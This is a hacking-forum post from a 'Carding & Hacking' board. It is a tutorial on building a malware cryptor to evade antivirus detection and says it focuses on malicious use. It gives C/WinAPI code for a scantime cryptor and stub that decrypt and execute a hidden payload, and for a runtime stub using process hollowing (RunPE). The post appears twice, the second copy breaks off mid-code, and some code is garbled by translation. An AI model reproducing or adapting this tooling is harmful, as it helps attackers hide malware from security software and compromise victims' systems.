Home
Forums
New posts
Search forums
What's new
New posts
New profile posts
Latest activity
Members
Current visitors
New profile posts
Search profile posts
Log in
Register
What's new
Search
Search
Search titles only
By:
New posts
Search forums
Menu
Log in
Register
Install the app
Install
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Reply to thread
Home
Forums
CARDING & HACKING
Hacking Tools
Creation of a cryptor. An essential tool for the job!
Message
<blockquote data-quote="Geniu" data-source="post: 397" data-attributes="member: 13"><p>Eh, how I missed this material in the beginning ...</p><p></p><p></p><p>Required:</p><p>Knowledge of C / C ++</p><p>Knowledge of WinAPI and its documentation</p><p>Knowledge of basic cryptology</p><p>Knowing the structure of the PE file</p><p>Knowledge of Windows (virtual) memory</p><p>Knowledge of processes and threads.</p><p></p><p><strong>The two sides of cryptography</strong></p><p>When we describe cryptography, it usually includes something like "a means of hiding to prevent unwanted access to information." Most of us see it as such, as a defense mechanism with applications from secrets to even stop malicious activity. Of course, we expect this, since it was invented with the sole purpose of turning any prying eyes away from data, however, as we will see shortly, cryptography has evolved into something much more.</p><p></p><p>If we use cryptography to defend against malicious activity, we can see the potential for malicious protection, that is, develop malware that takes advantage of the benefits provided by cryptography. These types of malware are already very visible in the modern era, some popular examples include ransomware and asymmetric backdoors, which are mostly about public key cryptography.</p><p></p><p><strong>Antivirus mechanisms</strong></p><p>In order to be able to develop a protective measure against antivirus software, we must first identify the details that we are trying to defeat. I will briefly discuss the two main methods that antivirus software uses to detect unwanted applications.</p><p></p><p><strong>Detection based on signatures</strong></p><p>As the name suggests, signature-based detection is a technique that cross-references and matches application signatures against a corresponding database of known malware. It is an effective measure to prevent and contain previous malware. Think of it as a vaccine for cars.</p><p></p><p><strong>Heuristic detection</strong></p><p>While signature-based detection can prevent most previously known malware, it has its drawbacks because malware authors can apply a layer of protection against this approach, such as polymorphic and / or metamorphic code. Heuristic detection attempts to monitor the behavior and characteristics of an application and to reference it with known malicious behavior. Please note that this can only happen if the application is running.</p><p></p><p>Of course, antivirus software is much, much more advanced than that. As this is outside the scope of my article and I understand that I will not cover this information.</p><p></p><p><strong>Introduction to Cryptors</strong></p><p>For those who do not know what cryptors are, they are designed to protect information in a file (usually some kind of executable format), and when executed, they may be able to provide said information unchanged after extracting it using a decryption procedure. Note that while cryptors can be used with malicious intent, they are also popular for obfuscating data to prevent reverse engineering. In this article, we will focus on malicious use. So how does it work? Let's start by defining cryptors and looking at a graphical representation of how they work. The cryptor is responsible for encrypting the target.</p><p></p><p>+-----------+ +---------+ +----------------+ +------+</p><p>| Your file | -> | Crypter | => | Encrypted file | + | Stub |</p><p>+-----------+ +---------+ +----------------+ +------+</p><p></p><p>Stub is a sector of the encrypted object that provides extraction and, sometimes, execution of the specified object.</p><p></p><p>+----------------+ +------+ +---------------+</p><p>| Encrypted file | + | Stub | = Execution => | Original File |</p><p>+----------------+ +------+ +---------------+</p><p></p><p><strong>Scantime Cryptors</strong></p><p>These types of ciphers are called scantime because of their ability to hide data on disk, where, for example, antivirus software can run a file scan with signature-based detection. At this point, antivirus software will never be able to detect any malicious activity, provided the application obfuscation is reliable.</p><p></p><p><strong>Runtime cryptors</strong></p><p>These cryptographic devices take it to the next level by deobfuscating data at startup in memory as needed. Thus, the antivirus will allow it to be downloaded and executed before it can react to any malicious activity. It is possible that malware initiates antivirus software heuristic-based detection at runtime, so malware authors should be careful. Now that we've covered a high level, let's see an example of how both types are implemented.</p><p></p><p><strong>Writing a Scantime Cryptor</strong></p><p>Scantime cryptor is simpler as it does not require knowledge of virtual memory and processes / threads. Basically, a stub will deobfuscate a file by dragging it to disk somewhere and then executing it.</p><p></p><p></p><p><strong>Cryptor and stub pseudocode</strong></p><p>1. Check if there is a command line argument</p><p>+ -> 2. If there is a command line argument, act as a cryptor</p><p>| 3. Open the target file</p><p>| 4. Read the contents of the file</p><p>| 5. Encrypt the contents of the file</p><p>| 6. Create a new file</p><p>| 7. Write the ciphertext to a new file</p><p>| 8. Done</p><p>|</p><p>+ -> 2. If no command line argument, act as stub</p><p>3. Open the encrypted file</p><p>4. Read the contents of the file</p><p>5. Decrypt the contents of the file</p><p>6. Create a temporary file</p><p>7. Write the decrypted text to a temporary file</p><p>8. Execute the file</p><p>9. Done</p><p></p><p>This construct implements both a crypter and a stub in the same executable, and we can do this because the two procedures are very similar to each other. Let's take a look at the possible design of the code.</p><p></p><p>First, we will need to define the main and two conditions that determine the execution of a crypter or stub.</p><p></p><p>Code:</p><p>int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {</p><p> if (__argc <2) {</p><p> // stub branch</p><p> } else {</p><p> // cryptor branch</p><p> }</p><p> return EXIT_SUCCESS;</p><p>}</p><p>Since we are defining the application as a windowed application, we cannot get argcand argvas usual in a console application, but Microsoft has provided a solution for this with __argcand __argv. If the command line argument __argv[1]exists, the application will try to encrypt the specified file, otherwise it will try to decrypt the existing file encrypted with the cryptor.</p><p></p><p>Moving on to the cryptor branch, we will require a descriptor of the specified file __argv[1]and its size so that we can copy its bytes into the buffer for encryption.</p><p></p><p>Code:</p><p>int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {</p><p> if (__argc <2) {</p><p> // stub branch</p><p> } else {</p><p> // cryptor branch</p><p> // open the file for encryption</p><p> HANDLE hFile = CreateFile (__ argv [1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);</p><p> // get the file size</p><p> DWORD dwFileSize = GetFileSize (hFile, NULL);</p><p> </p><p> // encrypt and get encrypted bytes</p><p> LPVOID lpFileBytes = Crypt (hFile, dwFileSize);</p><p> }</p><p> return EXIT_SUCCESS;</p><p>}</p><p>The Crypt function will essentially read the contents of the file into a buffer, then glue them together, and then return a pointer to the buffer with the encrypted bytes.</p><p></p><p>Code:</p><p>LPVOID Crypt (HANDLE hFile, DWORD dwFileSize) {</p><p> // allocate memory for a buffer that will store data from the file</p><p> LPVOID lpFileBytes = malloc (dwFileSize);</p><p> // read the file into the buffer</p><p> ReadFile (hFile, lpFileBytes, dwFileSize, NULL, NULL);</p><p></p><p> // perform encryption using the XOR method</p><p> int i;</p><p> for (i = 0; i <dwFileSize; i ++) {</p><p> * ((LPBYTE) lpFileBytes + i) ^ = Key [i% sizeof (Key)];</p><p> }</p><p></p><p> return lpFileBytes;</p><p>}</p><p>Now that we have the encrypted bytes, we will need to create a new file and then write those bytes to it.</p><p></p><p>Code:</p><p>int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {</p><p> if (__argc <2) {</p><p> // stub branch</p><p> } else {</p><p> // cryptor branch </p><p> ...</p><p> // get the name of the encrypted file</p><p> CHAR szCryptedFileName [MAX_PATH];</p><p> GetCurrentDirectory (MAX_PATH, szCryptedFileName);</p><p> strcat (szCryptedFileName, "\\");</p><p> strcat (szCryptedFileName, CRYPTED_FILE);</p><p> // open a handle to a new encrypted file</p><p> HANDLE hCryptedFile = CreateFile (szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);</p><p></p><p> // write to encrypted file</p><p> WriteFile (hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);</p><p> CloseHandle (hCryptedFile);</p><p> free (lpFileBytes);</p><p> }</p><p> return EXIT_SUCCESS;</p><p>}</p><p>And that's pretty much all for the crypter section. Please note that we used simple XOR to encrypt the contents of the file, which may not be enough if we have a small key. If we want to be more secure, we can use other encryption schemes like RC4 or (x) TEA. We do not require full fledged end-to-end crypto algorithms, as the goal is to avoid signature-based detection.</p><p></p><p>Let's get on with our work. For the stub, we want to get the encrypted file in its current directory and then write the decrypted content to a temporary file for execution.</p><p></p><p>We'll start by getting the current directory, then open the file and get the size of the file.</p><p></p><p>Code:</p><p>int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {</p><p> if (__argc <2) {</p><p> // stub branch</p><p> // get the target - an encrypted file</p><p> CHAR szEncryptedFileName [MAX_PATH];</p><p> GetCurrentDirectory (MAX_PATH, szEncryptedFileName);</p><p> strcat (szEncryptedFileName, "\\");</p><p> strcat (szEncryptedFileName, CRYPTED_FILE);</p><p></p><p> // get file descriptor</p><p> HANDLE hFile = CreateFile (szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);</p><p></p><p> // get the file size</p><p> DWORD dwFileSize = GetFileSize (hFile, NULL);</p><p> } else {</p><p> // cryptor branch</p><p> }</p><p> return EXIT_SUCCESS;</p><p>}</p><p>Pretty much the same as the cryptor branch. We then read the contents of the file and get the decrypted bytes. Since the XOR operation restores the values given by the common bit, we can simply reuse the Crypt function. After that, we will need to create a temporary file and write the decrypted bytes into it.</p><p></p><p>Code:</p><p>int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {</p><p> if (__argc <2) {</p><p> // stub branch </p><p> ...</p><p> // decrypt and get decrypted bytes</p><p> LPVOID lpFileBytes = Crypt (hFile, dwFileSize);</p><p> CloseHandle (hFile);</p><p></p><p> // get file in temp directory</p><p> CHAR szTempFileName [MAX_PATH];</p><p> GetTempPath (MAX_PATH, szTempFileName);</p><p> strcat (szTempFileName, DECRYPTED_FILE);</p><p></p><p> // open a descriptor for a temporary file</p><p> HANDLE hTempFile = CreateFile (szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);</p><p> // write to temporary file</p><p> WriteFile (hTempFile, lpFileBytes, dwFileSize, NULL, NULL);</p><p> // clear memory</p><p> CloseHandle (hTempFile);</p><p> free (lpFileBytes);</p><p> } else {</p><p> cryptor branch</p><p> }</p><p> return EXIT_SUCCESS;</p><p>}</p><p>Finally, we will need to execute the decrypted application.</p><p></p><p>Code:</p><p>int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {</p><p> if (__argc <2) {</p><p> // stub branch</p><p> ...</p><p> // execute the file</p><p> ShellExecute (NULL, NULL, szTempFileName, NULL, NULL, 0);</p><p> } else {</p><p> // cryptor branch</p><p> }</p><p></p><p> return EXIT_SUCCESS;</p><p>}</p><p>Please note that once a decrypted application is written to disk, it will be susceptible to detection based on antivirus software signatures and will likely be detected by most antivirus software. Because of this, malware authors require something that will allow their applications to run without this flaw.</p><p></p><p>This ends the scantime crypter.</p><p></p><p><strong>Writing a Runtime Cryptor</strong></p><p>To save runtime, I will only cover the stub as it involves more complex stuff, so we will assume the application is already encrypted. A popular technique these cryptors use is called RunPE or Dynamic Forking / Process Hollowing. How it works, stub will first decrypt the encrypted bytes of the application and then emulate the Windows bootloader by unloading them into the virtual memory space of the suspended process. Once this is complete, the stub will resume the suspended process and finish.</p><p></p><p></p><p><strong>Stub pseudocode</strong></p><p>1. Decrypt application</p><p>2. Create a suspended process</p><p>3. Save the context of the process flow</p><p>4. Empty the process virtual space</p><p>5. Allocate virtual memory</p><p>6. Write the title and sections of the application to the allocated memory</p><p>7. Set modified stream context</p><p>8. Continue the process</p><p>9. Done</p><p></p><p>As we can see, this requires quite a bit of knowledge about the internals of Windows, including PE file structure, Windows memory manipulation, and processes / threads. I highly recommend the reader to study these basics in order to understand the following material.</p><p></p><p>First, let's set up two routines, one to decrypt the encrypted application, and the other to load it into memory for execution.</p><p></p><p>Code:</p><p>int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {</p><p> Decrypt();</p><p> RunPE();</p><p></p><p> return EXIT_SUCCESS;</p><p>}</p><p>The function Decryptwill completely depend on the encryption scheme used to encrypt the application, but here is a sample code using XOR.</p><p></p><p>Code:</p><p>VOID Decrypt(VOID) {</p><p> int i;</p><p> for (i = 0; i < sizeof(Shellcode); i++) {</p><p> Shellcode<em> ^= Key[i % sizeof(Key)];</em></p><p><em> }</em></p><p><em>}</em></p><p><em>Now that the app has been decrypted, let's see where the magic happens. Here we will check if the application is a valid PE file by checking the DOS and PE signatures.</em></p><p><em></em></p><p><em>Code:</em></p><p><em>VOID RunPE (VOID) {</em></p><p><em> // check DOS signature</em></p><p><em> PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER) Shellcode;</em></p><p><em> if (pidh-> e_magic! = IMAGE_DOS_SIGNATURE) return;</em></p><p><em></em></p><p><em> // check the PE signature</em></p><p><em> PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS) ((DWORD) Shellcode + pidh-> e_lfanew);</em></p><p><em> if (pinh-> Signature! = IMAGE_NT_SIGNATURE) return;</em></p><p><em>}</em></p><p><em>We will now create a suspended process.</em></p><p><em></em></p><p><em>Code:</em></p><p><em>VOID RunPE (VOID) {</em></p><p><em> ...</em></p><p><em> // get the file name</em></p><p><em> CHAR szFileName [MAX_PATH];</em></p><p><em> GetModuleFileName (NULL, szFileName, MAX_PATH);</em></p><p><em></em></p><p><em> // initialize startup and process information</em></p><p><em> STARTUPINFO si;</em></p><p><em> PROCESS_INFORMATION pi;</em></p><p><em> ZeroMemory (& si, sizeof (si));</em></p><p><em> ZeroMemory (.pi, sizeof (pi));</em></p><p><em> // need to set si.cb size before use</em></p><p><em> si.cb = sizeof (si);</em></p><p><em> // create a suspended process</em></p><p><em> CreateProcess (szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, & si, & pi);</em></p><p><em></em></p><p><em>}</em></p><p><em></em></p><p><em>Code:</em></p><p><em>VOID RunPE (VOID) {</em></p><p><em> ...</em></p><p><em> // get the thread context</em></p><p><em> CONTEXT ctx;</em></p><p><em> ctx.ContextFlags = CONTEXT_FULL;</em></p><p><em> GetThreadContext (pi.Thread, & ctx);</em></p><p><em></em></p><p><em>}</em></p><p><em>And now let's free up the virtual memory area of the process so that we can allocate our own space for the application. To do this, we need a function that is not available to us, so we need a function pointer for the dynamically retrieved function from the DLL ntdll.dll.</em></p><p><em></em></p><p><em>Code:</em></p><p><em>typedef NTSTATUS (* fZwUnmapViewOfSection) (HANDLE, PVOID);</em></p><p><em></em></p><p><em>VOID RunPE (VOID) {</em></p><p><em> ...</em></p><p><em> // dynamically retrieves the ZwUnmapViewOfSection function from the ntdll.dll file</em></p><p><em> fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection) GetProcAddress (GetModuleHandle ("ntdll.dll"), "ZwUnmapViewOfSection");</em></p><p><em></em></p><p><em> // hollow process at virtual memory address 'pinh-> OptionalHeader.ImageBase'</em></p><p><em> pZwUnMapViewOfSection (pi.hProcess, (PVOID) pinh-> OptionalHeader.ImageBase);</em></p><p><em></em></p><p><em> // allocate virtual memory at 'pinh-> OptionalHeader.ImageBase' of size `pinh-> OptionalHeader.SizeofImage` with RWX permissions</em></p><p><em> LPVOID lpBaseAddress = VirtualAllocEx (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, pinh-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</em></p><p><em>}</em></p><p><em>Since the suspended process has its own content inside its virtual memory space, we must remove it from memory and then allocate it for ourselves so that we have the correct access and permissions to load the image of our application. We will do this using the WriteProcessMemory function. First, we need to write the headers and then each section separately, like the Windows bootloader. This section requires a deep understanding of the structure of the PE file.</em></p><p><em></em></p><p><em>Code:</em></p><p><em>VOID RunPE (VOID) {</em></p><p><em> ...</em></p><p><em> // write the title</em></p><p><em> WriteProcessMemory (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, Shellcode, pinh-> OptionalHeader.SizeOfHeaders, NULL);</em></p><p><em></em></p><p><em> // write each section</em></p><p><em> int i;</em></p><p><em> for (i = 0; i <pinh-> FileHeader.NumberOfSections; i ++) {</em></p><p><em></em></p><p><em> // calculate and get the i-th section</em></p><p><em> PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER) ((DWORD) Shellcode + pidh-> e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);</em></p><p><em></em></p><p><em> // write section data</em></p><p><em> WriteProcessMemory (pi.hProcess, (LPVOID) (lpBaseAddress + pish-> VirtualAddress), (LPVOID) ((DWORD) Shellcode + pish-> PointerToRawData), pish-> SizeOfRawData, NULL);</em></p><p><em> }</em></p><p><em>}</em></p><p><em>Now that everything is in place, we will simply change the entry point context address and then resume the suspended thread.</em></p><p><em></em></p><p><em>Code:</em></p><p><em>VOID RunPE (VOID) {</em></p><p><em> ...</em></p><p><em> // set the corresponding entry point address</em></p><p><em> ctx.Eax = pinh-> OptionalHeader.ImageBase + pinh-> OptionalHeader.AddressOfEntryPoint;</em></p><p><em> SetThreadContext (pi.hThread, & ctx);</em></p><p> <em></em></p><p><em> // restore and execute our application</em></p><p><em> ResumeThread (pi.hThread);</em></p><p><em>}</em></p><p><em>The app is now running in memory and hopefully the antivirus software won't detect it.</em></p><p><em></em></p><p><em><strong>Conclusion</strong></em></p><p><em>Hopefully at least the high level and some of the low level concepts have been reasonably well informed to the reader. If some things are still completely incomprehensible, I would highly recommend introspection on the topics listed at the beginning of this article. If some small things are a little unclear, feel free to ask. It was not aimed at an entry-level audience.</em></p></blockquote><p></p>
[QUOTE="Geniu, post: 397, member: 13"] Eh, how I missed this material in the beginning ... Required: Knowledge of C / C ++ Knowledge of WinAPI and its documentation Knowledge of basic cryptology Knowing the structure of the PE file Knowledge of Windows (virtual) memory Knowledge of processes and threads. [B]The two sides of cryptography[/B] When we describe cryptography, it usually includes something like "a means of hiding to prevent unwanted access to information." Most of us see it as such, as a defense mechanism with applications from secrets to even stop malicious activity. Of course, we expect this, since it was invented with the sole purpose of turning any prying eyes away from data, however, as we will see shortly, cryptography has evolved into something much more. If we use cryptography to defend against malicious activity, we can see the potential for malicious protection, that is, develop malware that takes advantage of the benefits provided by cryptography. These types of malware are already very visible in the modern era, some popular examples include ransomware and asymmetric backdoors, which are mostly about public key cryptography. [B]Antivirus mechanisms[/B] In order to be able to develop a protective measure against antivirus software, we must first identify the details that we are trying to defeat. I will briefly discuss the two main methods that antivirus software uses to detect unwanted applications. [B]Detection based on signatures[/B] As the name suggests, signature-based detection is a technique that cross-references and matches application signatures against a corresponding database of known malware. It is an effective measure to prevent and contain previous malware. Think of it as a vaccine for cars. [B]Heuristic detection[/B] While signature-based detection can prevent most previously known malware, it has its drawbacks because malware authors can apply a layer of protection against this approach, such as polymorphic and / or metamorphic code. Heuristic detection attempts to monitor the behavior and characteristics of an application and to reference it with known malicious behavior. Please note that this can only happen if the application is running. Of course, antivirus software is much, much more advanced than that. As this is outside the scope of my article and I understand that I will not cover this information. [B]Introduction to Cryptors[/B] For those who do not know what cryptors are, they are designed to protect information in a file (usually some kind of executable format), and when executed, they may be able to provide said information unchanged after extracting it using a decryption procedure. Note that while cryptors can be used with malicious intent, they are also popular for obfuscating data to prevent reverse engineering. In this article, we will focus on malicious use. So how does it work? Let's start by defining cryptors and looking at a graphical representation of how they work. The cryptor is responsible for encrypting the target. +-----------+ +---------+ +----------------+ +------+ | Your file | -> | Crypter | => | Encrypted file | + | Stub | +-----------+ +---------+ +----------------+ +------+ Stub is a sector of the encrypted object that provides extraction and, sometimes, execution of the specified object. +----------------+ +------+ +---------------+ | Encrypted file | + | Stub | = Execution => | Original File | +----------------+ +------+ +---------------+ [B]Scantime Cryptors[/B] These types of ciphers are called scantime because of their ability to hide data on disk, where, for example, antivirus software can run a file scan with signature-based detection. At this point, antivirus software will never be able to detect any malicious activity, provided the application obfuscation is reliable. [B]Runtime cryptors[/B] These cryptographic devices take it to the next level by deobfuscating data at startup in memory as needed. Thus, the antivirus will allow it to be downloaded and executed before it can react to any malicious activity. It is possible that malware initiates antivirus software heuristic-based detection at runtime, so malware authors should be careful. Now that we've covered a high level, let's see an example of how both types are implemented. [B]Writing a Scantime Cryptor[/B] Scantime cryptor is simpler as it does not require knowledge of virtual memory and processes / threads. Basically, a stub will deobfuscate a file by dragging it to disk somewhere and then executing it. [B]Cryptor and stub pseudocode[/B] 1. Check if there is a command line argument + -> 2. If there is a command line argument, act as a cryptor | 3. Open the target file | 4. Read the contents of the file | 5. Encrypt the contents of the file | 6. Create a new file | 7. Write the ciphertext to a new file | 8. Done | + -> 2. If no command line argument, act as stub 3. Open the encrypted file 4. Read the contents of the file 5. Decrypt the contents of the file 6. Create a temporary file 7. Write the decrypted text to a temporary file 8. Execute the file 9. Done This construct implements both a crypter and a stub in the same executable, and we can do this because the two procedures are very similar to each other. Let's take a look at the possible design of the code. First, we will need to define the main and two conditions that determine the execution of a crypter or stub. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch } else { // cryptor branch } return EXIT_SUCCESS; } Since we are defining the application as a windowed application, we cannot get argcand argvas usual in a console application, but Microsoft has provided a solution for this with __argcand __argv. If the command line argument __argv[1]exists, the application will try to encrypt the specified file, otherwise it will try to decrypt the existing file encrypted with the cryptor. Moving on to the cryptor branch, we will require a descriptor of the specified file __argv[1]and its size so that we can copy its bytes into the buffer for encryption. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch } else { // cryptor branch // open the file for encryption HANDLE hFile = CreateFile (__ argv [1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get the file size DWORD dwFileSize = GetFileSize (hFile, NULL); // encrypt and get encrypted bytes LPVOID lpFileBytes = Crypt (hFile, dwFileSize); } return EXIT_SUCCESS; } The Crypt function will essentially read the contents of the file into a buffer, then glue them together, and then return a pointer to the buffer with the encrypted bytes. Code: LPVOID Crypt (HANDLE hFile, DWORD dwFileSize) { // allocate memory for a buffer that will store data from the file LPVOID lpFileBytes = malloc (dwFileSize); // read the file into the buffer ReadFile (hFile, lpFileBytes, dwFileSize, NULL, NULL); // perform encryption using the XOR method int i; for (i = 0; i <dwFileSize; i ++) { * ((LPBYTE) lpFileBytes + i) ^ = Key [i% sizeof (Key)]; } return lpFileBytes; } Now that we have the encrypted bytes, we will need to create a new file and then write those bytes to it. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch } else { // cryptor branch ... // get the name of the encrypted file CHAR szCryptedFileName [MAX_PATH]; GetCurrentDirectory (MAX_PATH, szCryptedFileName); strcat (szCryptedFileName, "\\"); strcat (szCryptedFileName, CRYPTED_FILE); // open a handle to a new encrypted file HANDLE hCryptedFile = CreateFile (szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // write to encrypted file WriteFile (hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL); CloseHandle (hCryptedFile); free (lpFileBytes); } return EXIT_SUCCESS; } And that's pretty much all for the crypter section. Please note that we used simple XOR to encrypt the contents of the file, which may not be enough if we have a small key. If we want to be more secure, we can use other encryption schemes like RC4 or (x) TEA. We do not require full fledged end-to-end crypto algorithms, as the goal is to avoid signature-based detection. Let's get on with our work. For the stub, we want to get the encrypted file in its current directory and then write the decrypted content to a temporary file for execution. We'll start by getting the current directory, then open the file and get the size of the file. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch // get the target - an encrypted file CHAR szEncryptedFileName [MAX_PATH]; GetCurrentDirectory (MAX_PATH, szEncryptedFileName); strcat (szEncryptedFileName, "\\"); strcat (szEncryptedFileName, CRYPTED_FILE); // get file descriptor HANDLE hFile = CreateFile (szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get the file size DWORD dwFileSize = GetFileSize (hFile, NULL); } else { // cryptor branch } return EXIT_SUCCESS; } Pretty much the same as the cryptor branch. We then read the contents of the file and get the decrypted bytes. Since the XOR operation restores the values given by the common bit, we can simply reuse the Crypt function. After that, we will need to create a temporary file and write the decrypted bytes into it. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch ... // decrypt and get decrypted bytes LPVOID lpFileBytes = Crypt (hFile, dwFileSize); CloseHandle (hFile); // get file in temp directory CHAR szTempFileName [MAX_PATH]; GetTempPath (MAX_PATH, szTempFileName); strcat (szTempFileName, DECRYPTED_FILE); // open a descriptor for a temporary file HANDLE hTempFile = CreateFile (szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // write to temporary file WriteFile (hTempFile, lpFileBytes, dwFileSize, NULL, NULL); // clear memory CloseHandle (hTempFile); free (lpFileBytes); } else { cryptor branch } return EXIT_SUCCESS; } Finally, we will need to execute the decrypted application. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch ... // execute the file ShellExecute (NULL, NULL, szTempFileName, NULL, NULL, 0); } else { // cryptor branch } return EXIT_SUCCESS; } Please note that once a decrypted application is written to disk, it will be susceptible to detection based on antivirus software signatures and will likely be detected by most antivirus software. Because of this, malware authors require something that will allow their applications to run without this flaw. This ends the scantime crypter. [B]Writing a Runtime Cryptor[/B] To save runtime, I will only cover the stub as it involves more complex stuff, so we will assume the application is already encrypted. A popular technique these cryptors use is called RunPE or Dynamic Forking / Process Hollowing. How it works, stub will first decrypt the encrypted bytes of the application and then emulate the Windows bootloader by unloading them into the virtual memory space of the suspended process. Once this is complete, the stub will resume the suspended process and finish. [B]Stub pseudocode[/B] 1. Decrypt application 2. Create a suspended process 3. Save the context of the process flow 4. Empty the process virtual space 5. Allocate virtual memory 6. Write the title and sections of the application to the allocated memory 7. Set modified stream context 8. Continue the process 9. Done As we can see, this requires quite a bit of knowledge about the internals of Windows, including PE file structure, Windows memory manipulation, and processes / threads. I highly recommend the reader to study these basics in order to understand the following material. First, let's set up two routines, one to decrypt the encrypted application, and the other to load it into memory for execution. Code: int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { Decrypt(); RunPE(); return EXIT_SUCCESS; } The function Decryptwill completely depend on the encryption scheme used to encrypt the application, but here is a sample code using XOR. Code: VOID Decrypt(VOID) { int i; for (i = 0; i < sizeof(Shellcode); i++) { Shellcode[i] ^= Key[i % sizeof(Key)]; } } Now that the app has been decrypted, let's see where the magic happens. Here we will check if the application is a valid PE file by checking the DOS and PE signatures. Code: VOID RunPE (VOID) { // check DOS signature PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER) Shellcode; if (pidh-> e_magic! = IMAGE_DOS_SIGNATURE) return; // check the PE signature PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS) ((DWORD) Shellcode + pidh-> e_lfanew); if (pinh-> Signature! = IMAGE_NT_SIGNATURE) return; } We will now create a suspended process. Code: VOID RunPE (VOID) { ... // get the file name CHAR szFileName [MAX_PATH]; GetModuleFileName (NULL, szFileName, MAX_PATH); // initialize startup and process information STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory (& si, sizeof (si)); ZeroMemory (.pi, sizeof (pi)); // need to set si.cb size before use si.cb = sizeof (si); // create a suspended process CreateProcess (szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, & si, & pi); } Code: VOID RunPE (VOID) { ... // get the thread context CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext (pi.Thread, & ctx); } And now let's free up the virtual memory area of the process so that we can allocate our own space for the application. To do this, we need a function that is not available to us, so we need a function pointer for the dynamically retrieved function from the DLL ntdll.dll. Code: typedef NTSTATUS (* fZwUnmapViewOfSection) (HANDLE, PVOID); VOID RunPE (VOID) { ... // dynamically retrieves the ZwUnmapViewOfSection function from the ntdll.dll file fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection) GetProcAddress (GetModuleHandle ("ntdll.dll"), "ZwUnmapViewOfSection"); // hollow process at virtual memory address 'pinh-> OptionalHeader.ImageBase' pZwUnMapViewOfSection (pi.hProcess, (PVOID) pinh-> OptionalHeader.ImageBase); // allocate virtual memory at 'pinh-> OptionalHeader.ImageBase' of size `pinh-> OptionalHeader.SizeofImage` with RWX permissions LPVOID lpBaseAddress = VirtualAllocEx (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, pinh-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); } Since the suspended process has its own content inside its virtual memory space, we must remove it from memory and then allocate it for ourselves so that we have the correct access and permissions to load the image of our application. We will do this using the WriteProcessMemory function. First, we need to write the headers and then each section separately, like the Windows bootloader. This section requires a deep understanding of the structure of the PE file. Code: VOID RunPE (VOID) { ... // write the title WriteProcessMemory (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, Shellcode, pinh-> OptionalHeader.SizeOfHeaders, NULL); // write each section int i; for (i = 0; i <pinh-> FileHeader.NumberOfSections; i ++) { // calculate and get the i-th section PIMAGE_SECTION_HEADER pish = 